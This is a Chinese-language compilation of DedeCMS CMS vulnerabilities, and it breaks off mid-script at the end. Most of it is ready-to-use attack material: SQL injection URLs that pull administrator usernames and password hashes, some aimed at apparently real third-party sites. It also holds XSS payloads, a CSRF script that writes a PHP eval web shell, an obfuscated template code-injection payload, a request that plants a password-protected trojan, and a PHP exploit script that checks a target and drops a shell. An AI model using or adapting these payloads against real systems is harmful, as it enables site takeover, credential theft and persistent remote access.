SSV-97074
Date 2018 類型 前台任意密碼修改 影響范圍 前置條件
CVE-2018-20129
Date 2018 類型
前台文件上傳
影響范圍
前置條件
(1)前台登錄
(2)/member/article_add.php可訪問
SSV-97087
Date 2018 類型
越權 影響范圍 前置條件
(1)有前台登錄賬號
CVE-2018-9175
Date 2018 類型 影響范圍
前置條件
(1)可登錄后台
/member/reg_new.php SQL 注入漏洞
/member/buy_action.php SQL 注入漏洞
/member/buy_action.php SQL 注入漏洞
plus/guestbook.php 注入漏洞
/plus/recommend.php SQL 注入漏洞
/tag.php SQL 注入漏洞
/plus/infosearch.php SQL 注入漏洞
/plus/feedback_js.php SQL 注入漏洞
/member/mtypes.php SQL 注入漏洞
/plus/flink_add.php SQL 注入漏洞
member/ajax_membergroup.php SQL 注入漏洞
plus\feedback.php SQL 注入漏洞
plus/search.php SQL 注入漏洞
include/dedesql.class.php SQL 注入漏洞
group/search.php 注入漏洞
orderby 參數注射漏洞
plus/advancedsearch.php 任意 sql 語句執行 漏洞
SQL Injection Vulnerability
plus/infosearch.php 文件注入漏洞
存儲型 xss 漏洞
存在儲存型跨站腳本漏洞
referer xss 跨站
v5.6 兩處跨站漏洞
v5.5 兩處跨站漏洞
config.php 跨站腳本漏洞
/images/swfupload/swfupload.swf 跨站腳本漏洞
\dede\templets\login.htm gotopage 變量 XSS
跨站及爆絕對路徑漏洞
member-login.php 跨站腳本攻擊漏洞
catalog_tree.php 跨站腳本攻擊漏洞
jump.php 跨站腳本攻擊漏洞
article_keywords_select.php 跨站腳本攻擊漏洞
pic_view.php 跨站腳本攻擊漏洞
content_list.php 跨站腳本攻擊漏洞
select_images.php 跨站腳本攻擊漏洞
file_pic_view.php 跨站腳本攻擊漏洞
/plus/carbuyaction.php 本地文件包含漏洞
遠程文件刪除漏洞
select_soft_post.php 頁面變量未初始漏洞
網站管理系統 Get Shell 漏洞
最新版本后台 getshell
final getwebshell exploit(datalistcp.class.php)
5.3 – 5.5 plus/digg_frame.php 注入漏洞
/install/index.php 遠程寫文件漏洞
嵌入惡意代碼執行漏洞
WriteBookText() code injection vul
友情鏈接模塊注入漏洞(getshell)
soft-edit.php 代碼執行漏洞
后門漏洞
Final 模板執行漏洞
標簽遠程文件寫入漏洞
$_COOKIE 登錄繞過漏洞
前台任意用戶密碼修改
v5.6-5.7 越權訪問漏洞(直接進入后台)
后台地址爆破
/plus/download.php URL 重定向漏洞
會員中心代碼投稿缺陷可 getshell
cve-2018-9174
Date 2018 類型 影響范圍 前置條件 (1)可登錄后台
CVE-2019-8362
Date 2019 類型 影響范圍 前置條件 (1)可登錄后台
Dedecms
工具: 鬼哥(旁注)C段利器 v1.5 www.90sec.org DedeCms recommend.php注入利用工具-p2j.cn DEDECMS FLINK(By:MEIAM) dedecms v5.3-v5.6 Get Shell 文件上傳導致任意代碼執行 繞過驗證進入后台 http://www.xx.com/織夢網站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root dcug改為當前的驗證碼,即可直接進入網站后台 前提是得到后台路徑 敏感信息泄露 http://www.dedecms.com/plus/search.php?keyword=xxxx&channeltype=-0&orderby=&kwtype=-1&pagesize=10&typeid=0&TotalResult=-336&PageNo=%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3EFuck%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C&plistgo=%C7%E7%CC%EC%D0%A1%D6%FD? Google Hack - inurl:backupdata*dede_amin dedecms官方網站管理員賬號密碼泄露 http://www.dedecms.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294 SQL注入
Google Hack -》 inurl:/plus/flink_add.php
在magic_quotes_gpc=off時,攻擊者可以將惡意SQL語句帶入SQL執行,導致dedecms的審核機制被繞過 member/reg_new.php的代碼 $sex變量在表單是單選,沒做任何過濾 某文件沒過濾直接帶入sql查詢,攻擊者在magic_quotes_gpc=off時,可以注射SQL代碼,繞過sqlids檢測,執行sql語句. 要求會員中心,注冊用戶登錄,magic_quotes_gpc=off,以及php版本要求 由於對參數的變量未作初始化檢測及使用了類反射的技巧導致 plus\feedback.php 中變量 $typeid 存在注入風險 http://help.xx.com//plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878 32位MD5減去頭5位,減去尾七位,20位MD5密碼,前減3后減1,得到16位MD5 http://www.xx.xx.cn//plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6887 http://xx.net/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'or%20mid=@`\'`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111 plus/bookfeedback.php $catid變量以及$typeid變量未初始化 /member/edit_baseinfo.php - $addupquery /plus/search.php http://xx/plus/search.php?typeid=1&keyword=test http://localhost/dede/plus/search.php?typeArr[1%201%3d2union%20select%20pwd%20from%20dede_admin]=11&kwtype=0&q=11 http://xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a http://xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a http://localhost/dede7/plus/feedback.php?action=send&aid=1&&comtype=comments&isconfirm=yes¬user=1&msg=stage1111&title=yy',1,1,1,0,0,0,'feedback',0,@@version),(9,1,'',' 當gpc為on時,line 243的$title被轉義兩次,進入數據庫的時候變成 然后我們引用這條留言: http://localhost/dede7/plus/feedback.php?action=send&aid=1&&comtype=reply&isconfirm=yes¬user=1&msg=stage2222&fid=38 再次引用id 41的留言: include/shopcar.class.php --cookie http://www.xx.com///plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a http://xcb.xx.com//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a http://help.xx.com//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a http://d.xx.com//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a http://test.xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a 收藏文章功能$title變量未過濾,造成二次注入。 利用步驟(以獲取dede_admin.pwd字段的值為例): 1)注冊會員,登錄,發表文章,文章標題為 u',char(@`'`), (select pwd from dede_admin))# 獲取aid。這里aid=108 /plus/view.php?aid=108 2) 提交請求: http://u.cn/DedeCMS/plus/stow.php?aid=108&type=001 3) 訪問:http://u.cn/DedeCMS/member/mystow.php 點擊剛才發布的文章的“推薦“鏈接,打開如下連接 http://u.cn/DedeCMS/plus/recommend.php?type=29a53fb3c3&aid=108 其中type=29a53fb3c3的 29a53fb3c3 為dede_admin.pwd字段的前10位 4) 后10位使用類似的步驟,不同的是發布的文章標題為: u',char(@`'`),substring((select pwd from dede_admin),11))# http://127.0.0.1/dede/member/buy_action.php?product=1' and @`'` and 1=1* and '1'='1 利用方法 注冊用戶並且登陸 完了打開http://127.0.0.1/dede/member/edit_baseinfo.php 然后隨便寫一下 輸入驗證碼 打開BURP 抓包 點擊提交 然后再BURP里修改newsafequestion 的值改成1',email=@`'`,uname=(select user()),email='sss 然后提交 之后再打開http://127.0.0.1/dede/member/edit_baseinfo.php 就可以看到自己的、用戶名變成了注入之后的結果 打開 http://127.0.0.1/dede/member/flink_main.php# 在連接網址里面寫入 http://sss2'),(8,1,@`'`),(8,(select user()),'33333 連接名稱隨意 這里的8 是我的用戶ID 想要查看 必須得知道自己的用戶id 這個so easy 查看cookie 里面有一個DedeUserID 我的就是DedeUserID=8 這個一看就知道自己的id什么 因為是update注入 並且用了>ExecuteNoneQuery 所以延時注入都不行 但是 可以通過一個判斷來進行忙注 如果條件成功 那么mtypename='$name' 就會被update了 首先打開 http://127.0.0.1/dede/member/mtypes.php 添加一個分類 記住ID 和原來的分類名稱 然后打開 http://127.0.0.1/dede/member/mtypes.php?dopost=save&mtypename[2' or @`'` AND 1%3D1 and (select 'r')%3D'r' and '1'%3D'1]=4 將其中的2改成你的分類ID 完了打開之后 在返回http://127.0.0.1/dede/member/mtypes.php 如果(select 'r')='r'的話 那么分類名稱就被改成了4! 這樣我們就能來判斷是否滿足條件了! 可以寫一個中專程序 首先訪問http://127.0.0.1/dede/member/mtypes.php?dopost=save&mtypename[2' or @`'` AND 1%3D1 and (select 'r')%3D'r' and '1'%3D'1]=4 然后再返回http://127.0.0.1/dede/member/mtypes.php 的內容 這樣就可以用工具跑了 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and @`'` and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 測試方法 打開http://127.0.0.1/dede/member/soft_add.php 添加軟件 然后打開BURP抓包 講picnum改成typeid2 然后參數寫5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,' 就能看到注入結果了 利用方法 <form id="frmUpload" enctype="multipart/form-data" action="http://127.0.0.1/dede/member/uploads_edit.php? dopost=save&title=ss&oldurl=1'.php" method="post">看Oldurl就知道了~ <input type="file" name="addonfile" id="addonfile" size="50"><br> <input name="mode" type="hidden" value="2"> <input id="btnUpload" type="submit" value="Upload"> </form> http://127.0.0.1/dede/member/content_list.php?channelid=1 打開這里發布 文章標題寫上 1111',1,2),(8,136,user(),1,2),(1,2,'3 其他隨意 然后提交 完了之后查看一下文章的ID 在打開http://127.0.0.1/dede/plus/stow.php?aid=137&type=11%27 把137改成你的文章ID 測試方法127.0.0.1/dede/plus/guestbook.php? action=save&validate=scuf&msg=1&uname=1&img=111' 吧SCUF改成你自己的驗證碼 利用方法 先打開127.0.0.1/dede/member/myfriend_group.php隨便添加一個 然后看源碼里groupname[]中的值 因為沒有返回 只能盲注 那么判斷是否滿足條件就看是否update了原來的數據 這樣就easy 執行一下語句 127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'` and (select 1)%3D1 and '1]=12222 如果(select 1)=1的話 那個groupname就會被改成12222 上面的3改成你的groupname的ID 測試方法 打開 127.0.0.1/dede/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('個人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree= 吧SLUM改成你的驗證碼 DedeCMS全版本通殺SQL注入(無任何限制) --/member/buy_action.php 發表文章處,post表單的mtypesid可以注入 /dedecmsnew/member/album_add.php 注入的代碼: mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'', '','12333','','','1367930810','1367930810','4','image','test','3')#@`'`' http://www.gdjjs.zjut.edu.cn/plus/search.php?keyword=as&typeArr[111%3D@%60\%27%60%29+and+%28SELECT+1+FROM+%28select+count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select+CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60+limit+0,1%29,1,62%29%29%29a+from+information_schema.tables+group+by+a%29b%29%23@%60\%27%60+]=a Dedecms 會員中心注入漏洞 注冊用戶之后驗證郵箱完了之后 打開 127.0.0.1/dedecms/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select user()),(select 1),'4 然后在http://127.0.0.1/dedecms/member/operation.php 就可以查看到返回信息 http://www.xx-xx.com/plus/flink.php? Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\ http://www.xx-xx.com/plus/flink.php? Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\ dedecms SQL盲注漏洞(可以直接update出密碼) 需注冊 | filter.inc.php里未做過濾 ROOT_PATH/member/pm.php的64行 -- $id變量可控 首先給自己留個言 訪問留言對應的id的url可以看到這條留言 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1 然后注入,獲取數據庫用戶 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((select user()),1,1) ='r',2,1)) -- -@`'` 錯誤 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((select user()),1,1) ='X',2,1)) -- -@`'` 獲取admin密碼 正確 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((SELECT pwd from dede_admin),1,1) ='f',2,1)) -- -@`'` 錯誤 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((SELECT pwd from dede_admin),1,1) ='X',2,1)) -- -@`'` 漏洞測試 此處是一個盲注,為了測試方便,我們直接修復執行語句的文件,打印出執行的語句: echo $this->queryString."<br>"; http://localhost/member/buy_action.php? POST pid=1&product=card&a=b%26GLOBALS[cfg_dbprefix]=dede_member_operation where mid=9999 or @`'` or (ascii(substring((select pwd from dede_admin limit 0,1),1,1))=97)#%26product=@`'` 注意到 %26 即 & 測試: 添加上傳軟件 本地地址 http://www.hao123.com 其它亂填就行,添加成功后,再次進入修改界面 軟件地址改為: http://www.hao123.com}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}xxx 注意,這里后面多了 xxx ,就是為了繞過這個正則補丁。 然后執行完全沒有壓力! 后來測試,在GPC OFF跟 ON下寫入的地址有所區別,上面是在ON下寫入的。 原因你們懂得。 在 filter.inc.php 中,你們不管 GPC ,全過濾了 addslashes。 而且對這樣的$svar[$_k]直接返回錯誤的值 DedeCMS在注冊時對用戶名、電子郵箱等限制的很死,唯獨對用戶筆名沒做限制,可填寫單引號等,由此導致再次使用筆名入庫時二次注入 /member/reg_new.php 約194行 用戶筆名處存在注入 DedeCMS-V5.7-UTF8-SP1 sql二次注入 漏洞細節 注冊會員,然后跳到商品發布處 DedeCMS-V5.7-UTF8-SP1 sql注入 漏洞細節 進入圈子話題,然后點擊我要發帖 在內容出填寫:',concat(char(@`'`),(SELECT user())))#,(1, 然后點擊提交,發現后台監控,抓取到的sql語句為: INSERT INTO dede_group_posts(gid,tid,first,author,authorid,subject,dateline,message,useip) VALUES('4','11',1,'越界','5','testetstetste','1401949158','',concat(char(@`'`),(SELECT user())))#,(1,','10.65.100.235') 查看數據庫,即可看到此語句正常執行: url:http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=alipay&out_trade_no=M1T1RN1' or concat(char(@`'`),(SELECT user())))# DedeCMS-V5.7-UTF8-SP1 新繞過思路+sql注入+任意訂單支付合集 url:http://xx.xx.dedecms.com/plus/carbuyaction.php post_data: dopost=return&code=alipay&out_trade_no=S-P0098RN0098' and char("'")=(SELECT user())#&total_fee=&sign=06f4c5710c9faa468a0628bab208d77d&trade_status=TRADE_FINISHED DedeCMS-V5.7-SP1(2014-07-25)sql注入+新繞過思路 注冊用戶,將一個商品加入購物車 http://dzb.xx.edu.cn/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\%27and+char%28@%60%27%60%29+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat%280x3C6162633E,group_concat%280x7C,userid,0x3a,pwd,0x7C%29,0x3C2F6162633E%29,5,6,7,8,9%20from%20%60%23@__admin%60%23%22; http://222.xx.68.166/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa%5c%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,md5(0x40776562736166657363616E40),5,6,7,8,9%20from%20`%23@__admin`%23') http://www.xx.cn//plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23%22; XSS v5.7 友情鏈接申請的網址填寫沒有進行過濾和限制 - javascript:alert(document.cookie) www.gd-linux.com/plus/guestbook.php?action=admin&job=editok&id=100&msg=<body onload=alert(document.cookie)> /plus/guestbook.php /plus/guestbook.php?gotopagerank=&totalresult=1300&pageno=5 http://localhost/plus/feedback.php?action=send&aid=1&&comtype=comments&isconfirm=yes¬user=1&msg=stage1111&title=<script>alert(1)</script> 注冊會員登錄-空間設置-空間公告-源碼 忘記過濾 <img 標簽了. Location: /uploads/images/swfupload/swfupload.swf 漏洞文件為:http://www.dedecms.com/images/swfupload/swfupload.swf 這個flash文件存在漏洞,此文件漏洞可參考:https://nealpoole.com/blog/2012/05/xss-and-csrf-via-swf-applets-swfupload-plupload/ 構造XSS攻擊 http://www.dedecms.com/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}// /uploads/dede/catalog_do.php --XSS+CSRF DedeCMS-V5.7-UTF8-SP1 塊存儲型xss 可打管理員 getshell成功測試 注冊賬戶,然后登陸: DedeCMS-V5.7-UTF8-SP1 變反射為持久xss 拿shell 上次提交了一個個人圈子的反射型xss,但是烏雲沒有理會我,一直到現在還沒有審核,這次我重新在找一個,那么就利用這個,把反射型變成一個持久類型,然后拿后台shell 首先登陸用戶,然后創建圈子 http://xx.xx.dedecms.com/plus/recommend.php?aid=1&action=sendmail&title=%3Ciframe%20src=//www.baidu.com%3E%3C/iframe%3E http://xx.xx.dedecms.com/plus/recommend.php?aid=1&action=sendmail&title=%3CSCRIPT%20SRC=//ha.ckers.org/xss.js%3E%3C/SCRIPT%3E 首先購買商品 郵件處 <script>alert('s')</script> 留言處 <script>alert('s')</script> 確認后就可以了 等待管理員進入后台維護 管理員一旦點擊收貨人的名字或者數量的詳細就會觸發XSS dedecms 全版本!xss跨站一枚! referer構造觸發! $_SERVER['HTTP_REFERER'] 未過濾直接輸出到js中!由於官方默認數據庫均有一個投票記錄 所以基本上都可以觸發此xss $_SERVER['HTTP_REFERER']明顯是不安全的 比如我在本地寫一個文件test.html /uploads//plus/feedback.php?aid=1 title=<script>alert(/Pax.Mac/)</script> exp: var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } xmlhttp=request; getshell(); function getshell(){ var postStr="fmdo=edit&backurl=&activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads&filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E&B1=++%B1%A3+%B4%E6++";//url需要自己修改 xmlhttp.open("POST", "http://paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php", true);//url需要自己修改 xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Content-length", postStr.length); xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(postStr); } CSRF DedeCMS-V5.7-UTF8-SP1 csrf getshell 無需會員中心 網站logo處提交">_<'"<> Dedecms可CSRF GetShell(第二彈,附POC) 源碼編輯頁中無token,可CSRF修改源碼導致GetShell URL跳轉 http://www.dedecms.com/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D 文件包含 首先利用cookie修改工具,加上 code=alipay 然后訪問 http://www.xxx.com/plus/carbuyaction.php?dopost=return&code=../../uploads/userup/xx/myface.gif%00 直接包含成功 利用條件為GPC OFF ,或者某些環境下的截斷。 可以在會員中心里上傳個圖片木馬進行拿shell。 還可以包含dede自身文件進行更多利用 變量覆蓋漏洞,可重裝網站 dedecms的install/index.php中,有這樣一段代碼 foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); } 任何傳入的變量都會被定義,導致變量覆蓋漏洞,可以通過覆蓋insLockfile變量,破壞原來程序的邏輯,重裝網站。 POC: http://127.0.0.1/dede/install/index.php?insLockfile=1 越權 DEDEcms SQL注入漏洞導致可以修改任意用戶密碼 測試方法 如下 1 首先注冊一個用戶 2 找回密碼 選擇通過安全問題取回 3 填寫完畢信息之后點擊確認 4 然后點擊確認 會跳轉到這樣一個URL上 http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=elLSvQu8 然后我們就可以構造EXP如下了 http://127.0.0.1/dedecms/member/resetpassword.php ?dopost=getpasswd &id=xx' or userid='diehack' and '9 &key=SULMhhPU&setp=2&pwd=1&pwdok=1 把上面url中的9改成 之前跳轉到鏈接的id參數,然后把key也改成之前跳轉的鏈接的key參數 然后userid可以修改成你需要修改密碼的用戶 pwd和pwdok就是需要修改成的密碼 必須保持一樣 這個注入的難點在於 $mid = preg_replace("#[^0-9]#", "", $id); 這里匹配出了所有數字 如果我們實用忙注 那么需要subtring(xx,1,2)來逐個獲取 而且又不支持報錯顯示 不然就可以報錯注入了 想要利用 至少需要注冊1K個賬戶 才能利用起來 利用難度比較大 RCE 會員中心開放,注冊一個號。 默認情況下,注冊的號碼需要郵件驗證,但通常沒法收取郵件的,所以沒法激活,什么也不能操作 激活函數 index_do.php 離線爆破,很快會有結果。不過這里的py效率不高,也可以直接生成字典。方便秒查 A-Z a-z A-Z A-Z a-z 1000-9999 A-Z (1-1000)注冊時 id 結果出來后: OeQDg2992Z--8--aaaaaa@21cn.com 943ea8a69319e9dd17bc3b8245631300 http://127.0.0.1/dede/member/index_do.php?fmdo=checkMail&mid=8&userhash=943ea8a69319e9dd17bc3b8245631300 會員激活成功,可以進入下一步操作 邏輯漏洞 Dedecms全版本后台驗證碼邏輯漏洞可導致暴力破解 dedecms 最新版!驗證碼繞過!驗證碼等於無效 根據dedecms源碼 查到dedecms將session保存到文件中! DeDecms 任意用戶登錄,管理員密碼重置漏洞 -20180109(最新版) Webshell寫入: http://www.189fy.com//plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96 接着訪問訪問http://www.189fy.com/plus/mytag_js.php?aid=9013 生成一句話木馬. 菜刀連接 http://www.189fy.com/plus/90sec.php 密碼 guige 菜刀成功連接之 后門 v5.7 @eval(file_get_contents('php://input')) exp -- php exp.php IP/dede7/ 密碼: cmd <?php $host=$argv[1]; $path=$argv[2]; $path=$path."plus/car.php"; $url=$path; if(count($argv) < 3 ){ print_r(' Usage: php '.$argv[0].' host path Example: php '.$argv[0].' www.site.com /dede/ 作者:舞林 http://t.qq.com/wulinlw 修改:小逸 '); exit; } $data='$a=${@phpinfo()};'; $buffer = POST($host,80,$url,$data,30); preg_match("/allow_url_fopen/i", $buffer, $arr_suc); $str="allow_url_fopen"; if($arr_suc[0]==$str) { echo "Congratulations,target exist this bug.\n"; $data='$a=${@file_put_contents("dst.php","<?php eval(\$_POST[cmd]); ?>")};'; $buffer = POST($host,80,$url,$data,30); echo "shell:http://$host$argv[2]plus/dst.php,pass:cmd."; } else { echo "Sorry,target may not exist this bug."; exit; } function POST($host,$port,$path,$data,$timeout, 